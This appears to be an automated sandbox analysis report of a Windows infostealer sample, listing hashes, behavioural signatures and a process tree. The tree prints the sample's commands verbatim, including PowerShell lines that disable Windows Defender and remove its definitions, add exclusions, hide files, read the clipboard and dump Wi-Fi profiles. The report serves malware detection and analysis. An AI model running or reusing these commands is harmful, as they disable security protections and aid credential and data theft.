Analysis
-
max time kernel
137s -
max time network
111s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
27-06-2024 10:18
Behavioral task
behavioral1
Sample
7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe
Resource
win10v2004-20240611-en
General
-
Target
7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe
-
Size
7.8MB
-
MD5
9487583eb0b95fb48e72331c4a37ba80
-
SHA1
2da35d9f83139d37193eb39ac95a4884adcef259
-
SHA256
7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023
-
SHA512
cec99ed3d2b11c3c5daf03e203b39eba7c70e0dc95992ac404c3c89a242633623d51573a42c37ba8b71b57c6e9baf0ff8cdb91379ddc6533f77cf1cb238e60fb
-
SSDEEP
98304:Z1zHqdVfB2b2B/MS27wcS0yuT/9vUIdD9C+z3zO917vOTh+ezDNhc2Qi0L6rxvmr:ZJQsSuZbT/9bvLz3S1bA3zzfQn97v9
Malware Config
Signatures
-
Processes:
powershell.exepowershell.exepowershell.exepid process 644 powershell.exe 892 powershell.exe 3252 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
rar.exepid process 2736 rar.exe -
Loads dropped DLL 18 IoCs
Processes:
7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exepid process 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI46682\python311.dll upx behavioral2/memory/3668-67-0x00007FFD6CD60000-0x00007FFD6D349000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_ctypes.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\libffi-8.dll upx behavioral2/memory/3668-72-0x00007FFD7C350000-0x00007FFD7C373000-memory.dmp upx behavioral2/memory/3668-74-0x00007FFD81650000-0x00007FFD8165F000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_socket.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_queue.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_lzma.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_hashlib.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_decimal.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\_bz2.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\unicodedata.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\sqlite3.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\select.pyd upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\libssl-1_1.dll upx C:\Users\Admin\AppData\Local\Temp\_MEI46682\libcrypto-1_1.dll upx behavioral2/memory/3668-132-0x00007FFD7BA20000-0x00007FFD7BA4D000-memory.dmp upx behavioral2/memory/3668-133-0x00007FFD7F0C0000-0x00007FFD7F0D9000-memory.dmp upx behavioral2/memory/3668-134-0x00007FFD7B9B0000-0x00007FFD7B9D3000-memory.dmp upx behavioral2/memory/3668-135-0x00007FFD6C960000-0x00007FFD6CAD7000-memory.dmp upx behavioral2/memory/3668-136-0x00007FFD7B990000-0x00007FFD7B9A9000-memory.dmp upx behavioral2/memory/3668-138-0x00007FFD7B800000-0x00007FFD7B82E000-memory.dmp upx behavioral2/memory/3668-137-0x00007FFD7B830000-0x00007FFD7B83D000-memory.dmp upx behavioral2/memory/3668-140-0x00007FFD6BEF0000-0x00007FFD6C268000-memory.dmp upx behavioral2/memory/3668-139-0x00007FFD6C270000-0x00007FFD6C328000-memory.dmp upx behavioral2/memory/3668-147-0x00007FFD7C350000-0x00007FFD7C373000-memory.dmp upx behavioral2/memory/3668-146-0x00007FFD7B7F0000-0x00007FFD7B7FD000-memory.dmp upx behavioral2/memory/3668-143-0x00007FFD7B590000-0x00007FFD7B5A4000-memory.dmp upx behavioral2/memory/3668-142-0x00007FFD6CD60000-0x00007FFD6D349000-memory.dmp upx behavioral2/memory/3668-148-0x00007FFD6BDD0000-0x00007FFD6BEEC000-memory.dmp upx behavioral2/memory/3668-335-0x00007FFD7B9B0000-0x00007FFD7B9D3000-memory.dmp upx behavioral2/memory/3668-357-0x00007FFD6C960000-0x00007FFD6CAD7000-memory.dmp upx behavioral2/memory/3668-358-0x00007FFD7B990000-0x00007FFD7B9A9000-memory.dmp upx behavioral2/memory/3668-360-0x00007FFD7C350000-0x00007FFD7C373000-memory.dmp upx behavioral2/memory/3668-369-0x00007FFD6C270000-0x00007FFD6C328000-memory.dmp upx behavioral2/memory/3668-368-0x00007FFD7B800000-0x00007FFD7B82E000-memory.dmp upx behavioral2/memory/3668-359-0x00007FFD6CD60000-0x00007FFD6D349000-memory.dmp upx behavioral2/memory/3668-370-0x00007FFD6BEF0000-0x00007FFD6C268000-memory.dmp upx behavioral2/memory/3668-374-0x00007FFD6CD60000-0x00007FFD6D349000-memory.dmp upx behavioral2/memory/3668-399-0x00007FFD6C270000-0x00007FFD6C328000-memory.dmp upx behavioral2/memory/3668-401-0x00007FFD7B590000-0x00007FFD7B5A4000-memory.dmp upx behavioral2/memory/3668-400-0x00007FFD6BEF0000-0x00007FFD6C268000-memory.dmp upx behavioral2/memory/3668-398-0x00007FFD7B990000-0x00007FFD7B9A9000-memory.dmp upx behavioral2/memory/3668-397-0x00007FFD7B830000-0x00007FFD7B83D000-memory.dmp upx behavioral2/memory/3668-396-0x00007FFD7B800000-0x00007FFD7B82E000-memory.dmp upx behavioral2/memory/3668-395-0x00007FFD6C960000-0x00007FFD6CAD7000-memory.dmp upx behavioral2/memory/3668-394-0x00007FFD7B9B0000-0x00007FFD7B9D3000-memory.dmp upx behavioral2/memory/3668-393-0x00007FFD7F0C0000-0x00007FFD7F0D9000-memory.dmp upx behavioral2/memory/3668-392-0x00007FFD7BA20000-0x00007FFD7BA4D000-memory.dmp upx behavioral2/memory/3668-391-0x00007FFD81650000-0x00007FFD8165F000-memory.dmp upx behavioral2/memory/3668-390-0x00007FFD7C350000-0x00007FFD7C373000-memory.dmp upx behavioral2/memory/3668-389-0x00007FFD7B7F0000-0x00007FFD7B7FD000-memory.dmp upx behavioral2/memory/3668-388-0x00007FFD6BDD0000-0x00007FFD6BEEC000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 ip-api.com -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
Processes:
netsh.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
Processes:
tasklist.exetasklist.exetasklist.exepid process 4056 tasklist.exe 2832 tasklist.exe 2212 tasklist.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 26 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4876 powershell.exe 892 powershell.exe 3252 powershell.exe 3252 powershell.exe 4876 powershell.exe 4876 powershell.exe 892 powershell.exe 892 powershell.exe 3252 powershell.exe 3252 powershell.exe 640 powershell.exe 640 powershell.exe 644 powershell.exe 644 powershell.exe 640 powershell.exe 644 powershell.exe 3520 powershell.exe 3520 powershell.exe 808 powershell.exe 808 powershell.exe 1992 powershell.exe 1992 powershell.exe 1992 powershell.exe 4800 powershell.exe 4800 powershell.exe 4800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exetasklist.exetasklist.exeWMIC.exetasklist.exepowershell.exepowershell.exepowershell.exepowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 4876 powershell.exe Token: SeDebugPrivilege 892 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeDebugPrivilege 4056 tasklist.exe Token: SeDebugPrivilege 2832 tasklist.exe Token: SeIncreaseQuotaPrivilege 3712 WMIC.exe Token: SeSecurityPrivilege 3712 WMIC.exe Token: SeTakeOwnershipPrivilege 3712 WMIC.exe Token: SeLoadDriverPrivilege 3712 WMIC.exe Token: SeSystemProfilePrivilege 3712 WMIC.exe Token: SeSystemtimePrivilege 3712 WMIC.exe Token: SeProfSingleProcessPrivilege 3712 WMIC.exe Token: SeIncBasePriorityPrivilege 3712 WMIC.exe Token: SeCreatePagefilePrivilege 3712 WMIC.exe Token: SeBackupPrivilege 3712 WMIC.exe Token: SeRestorePrivilege 3712 WMIC.exe Token: SeShutdownPrivilege 3712 WMIC.exe Token: SeDebugPrivilege 3712 WMIC.exe Token: SeSystemEnvironmentPrivilege 3712 WMIC.exe Token: SeRemoteShutdownPrivilege 3712 WMIC.exe Token: SeUndockPrivilege 3712 WMIC.exe Token: SeManageVolumePrivilege 3712 WMIC.exe Token: 33 3712 WMIC.exe Token: 34 3712 WMIC.exe Token: 35 3712 WMIC.exe Token: 36 3712 WMIC.exe Token: SeIncreaseQuotaPrivilege 3712 WMIC.exe Token: SeSecurityPrivilege 3712 WMIC.exe Token: SeTakeOwnershipPrivilege 3712 WMIC.exe Token: SeLoadDriverPrivilege 3712 WMIC.exe Token: SeSystemProfilePrivilege 3712 WMIC.exe Token: SeSystemtimePrivilege 3712 WMIC.exe Token: SeProfSingleProcessPrivilege 3712 WMIC.exe Token: SeIncBasePriorityPrivilege 3712 WMIC.exe Token: SeCreatePagefilePrivilege 3712 WMIC.exe Token: SeBackupPrivilege 3712 WMIC.exe Token: SeRestorePrivilege 3712 WMIC.exe Token: SeShutdownPrivilege 3712 WMIC.exe Token: SeDebugPrivilege 3712 WMIC.exe Token: SeSystemEnvironmentPrivilege 3712 WMIC.exe Token: SeRemoteShutdownPrivilege 3712 WMIC.exe Token: SeUndockPrivilege 3712 WMIC.exe Token: SeManageVolumePrivilege 3712 WMIC.exe Token: 33 3712 WMIC.exe Token: 34 3712 WMIC.exe Token: 35 3712 WMIC.exe Token: 36 3712 WMIC.exe Token: SeDebugPrivilege 2212 tasklist.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeDebugPrivilege 644 powershell.exe Token: SeDebugPrivilege 3520 powershell.exe Token: SeDebugPrivilege 808 powershell.exe Token: SeIncreaseQuotaPrivilege 2832 WMIC.exe Token: SeSecurityPrivilege 2832 WMIC.exe Token: SeTakeOwnershipPrivilege 2832 WMIC.exe Token: SeLoadDriverPrivilege 2832 WMIC.exe Token: SeSystemProfilePrivilege 2832 WMIC.exe Token: SeSystemtimePrivilege 2832 WMIC.exe Token: SeProfSingleProcessPrivilege 2832 WMIC.exe Token: SeIncBasePriorityPrivilege 2832 WMIC.exe Token: SeCreatePagefilePrivilege 2832 WMIC.exe Token: SeBackupPrivilege 2832 WMIC.exe Token: SeRestorePrivilege 2832 WMIC.exe Token: SeShutdownPrivilege 2832 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 4668 wrote to memory of 3668 4668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe PID 4668 wrote to memory of 3668 4668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe PID 3668 wrote to memory of 4864 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 4864 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2456 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2456 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 624 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 624 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 3724 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 3724 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 624 wrote to memory of 448 624 cmd.exe attrib.exe PID 624 wrote to memory of 448 624 cmd.exe attrib.exe PID 4864 wrote to memory of 892 4864 cmd.exe powershell.exe PID 4864 wrote to memory of 892 4864 cmd.exe powershell.exe PID 2456 wrote to memory of 4876 2456 cmd.exe powershell.exe PID 2456 wrote to memory of 4876 2456 cmd.exe powershell.exe PID 3724 wrote to memory of 3252 3724 cmd.exe powershell.exe PID 3724 wrote to memory of 3252 3724 cmd.exe powershell.exe PID 3668 wrote to memory of 1320 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 1320 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 1440 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 1440 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 1320 wrote to memory of 4056 1320 cmd.exe tasklist.exe PID 1320 wrote to memory of 4056 1320 cmd.exe tasklist.exe PID 1440 wrote to memory of 2832 1440 cmd.exe tasklist.exe PID 1440 wrote to memory of 2832 1440 cmd.exe tasklist.exe PID 3668 wrote to memory of 1428 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 1428 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 1428 wrote to memory of 3712 1428 cmd.exe WMIC.exe PID 1428 wrote to memory of 3712 1428 cmd.exe WMIC.exe PID 3668 wrote to memory of 2884 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2884 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 992 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 992 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 3520 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe powershell.exe PID 3668 wrote to memory of 3520 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe powershell.exe PID 3668 wrote to memory of 4272 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 4272 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2192 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2192 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2888 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 2888 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 992 wrote to memory of 2212 992 cmd.exe tasklist.exe PID 992 wrote to memory of 2212 992 cmd.exe tasklist.exe PID 2884 wrote to memory of 640 2884 cmd.exe powershell.exe PID 2884 wrote to memory of 640 2884 cmd.exe powershell.exe PID 2192 wrote to memory of 2696 2192 cmd.exe systeminfo.exe PID 2192 wrote to memory of 2696 2192 cmd.exe systeminfo.exe PID 3520 wrote to memory of 3400 3520 cmd.exe netsh.exe PID 3520 wrote to memory of 3400 3520 cmd.exe netsh.exe PID 2888 wrote to memory of 644 2888 cmd.exe powershell.exe PID 2888 wrote to memory of 644 2888 cmd.exe powershell.exe PID 4272 wrote to memory of 4092 4272 cmd.exe tree.com PID 4272 wrote to memory of 4092 4272 cmd.exe tree.com PID 3668 wrote to memory of 4340 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 4340 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 4340 wrote to memory of 3484 4340 cmd.exe tree.com PID 4340 wrote to memory of 3484 4340 cmd.exe tree.com PID 3668 wrote to memory of 3008 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 3008 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3008 wrote to memory of 2848 3008 cmd.exe tree.com PID 3008 wrote to memory of 2848 3008 cmd.exe tree.com PID 3668 wrote to memory of 3088 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe PID 3668 wrote to memory of 3088 3668 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe cmd.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:892 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4876 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"4⤵
- Views/modifies file attributes
PID:448 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3252 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1320 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4056 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2832 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3712 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:640 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2212 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:4092
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3400 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:2696 -
